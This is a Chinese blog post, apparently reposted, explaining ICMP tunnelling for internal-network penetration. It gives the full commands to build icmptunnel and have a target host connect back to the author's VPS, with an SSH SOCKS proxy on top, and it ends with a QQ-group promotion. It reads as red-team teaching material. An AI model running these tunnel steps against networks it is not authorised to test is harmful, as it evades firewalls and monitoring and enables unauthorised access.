内网穿透-ICMP协议
Posted 李志宽
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网穿透-ICMP协议相关的知识,希望对你有一定的参考价值。
ICMP协议
通常我们的ping、tracert命令是可以无视防火墙进行出网的,而ping、tracert 就是利用的ICMP协议
ICMP协议是Internet控制报文协议。它属于网络层协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP报文格式如下啊,可以看到icmp是有数据data部分的
我们ping一下8.8.8.8并抓个icmp的包看看
ICMP报文里面的类型、代码、校验和什么的我们不用管,重要的是数据部分(data)
可以看到啊,我们ping了8.8.8.8,icmp报文的data竟然是abcd......,一看就是没用的填充字符啊
返回包也是abcd.....这些填充字符
ICMP隧道技术
可以看出ICMP的数据是没用的,如果我们能利用这点空间将abcd改为我们的信息,俩主机互相ping就能传递信息了!
而且ICMP报文是由系统内核处理不占用任何端口,随便你防火墙拦截端口,又拦不住我ICMP。
所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。
工具
常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp 、icmptunnel
Icmptunnel
linux工具icmptunnel, 可以将IP流量封装到ICMP echo请求和回复(ping)包中, 通过icmp建立通道穿透防火墙出网
项目地址:https://github.com/jamesbarlow/icmptunnel
项目地址:http://github.com/DhavalKapil/icmptunnel
场景:一台我的vps主机A(192.168.10.1),一台linux目标主机B,只能ICMP协议出网
AB主机先git下来然后编译该工具
git clone https://github.com/jamesbarlow/icmptunnel.git
make
AB主机都需要禁用自带的icmp
sysctl -w net.ipv4.icmp_echo_ignore_all=1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
A主机为服务器端,以root权限进行监听
./icmptunnel -s
(ctrl-z bg)
这时他会创建一个隧道接口tun0,我们需要分配一个ip地址
/sbin/ifconfig tun0 10.10.1.1 netmask 255.255.255.0
B主机进行回连A主机
./icmptunnel
opened tunnel device: tun0
connection established.
(ctrl-z bg)
连接成功同样创业一个隧道接口tun0,需要配置一下ip
/sbin/ifconfig tun0 10.10.1.2 netmask 255.255.255.0
这样我们就有了icmp协议搭建的隧道,我们就可以使用此10.10.1.0/24网段访问B主机
比如ssh连接B主机
ssh xiaogang@10.10.1.2
或者使用ssh的端口转发开启socks代理,可见《内网穿透-ssh转发技术》
ssh -CfNg xiaogang@10.10.1.2 -D 127.0.0.1:1080
这样就可以设置浏览器代理或全局代理连接 socks://VPS:1080
下面是我用浏览器连接A主机的1080端口,访问B主机的web页面
看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了
我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货主要有:
① 2000多本网安必看电子书(主流和经典的书籍应该都有了)
② php标准库资料(最全中文版)
③ 项目源码(四五十个有趣且经典的练手项目及源码)
④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ 渗透测试工具大全
⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全
各位朋友们可以关注+评论一波 然后加下QQ群:581499282 备注:CSDN 联系管理大大即可免费获取全部资料
注意
我们想通过ICMP协议打通隧道,需要服务端和客户端都能使用ICMP协议,也就是能互相ping通。
以上是关于内网穿透-ICMP协议的主要内容,如果未能解决你的问题,请参考以下文章
红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)
红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)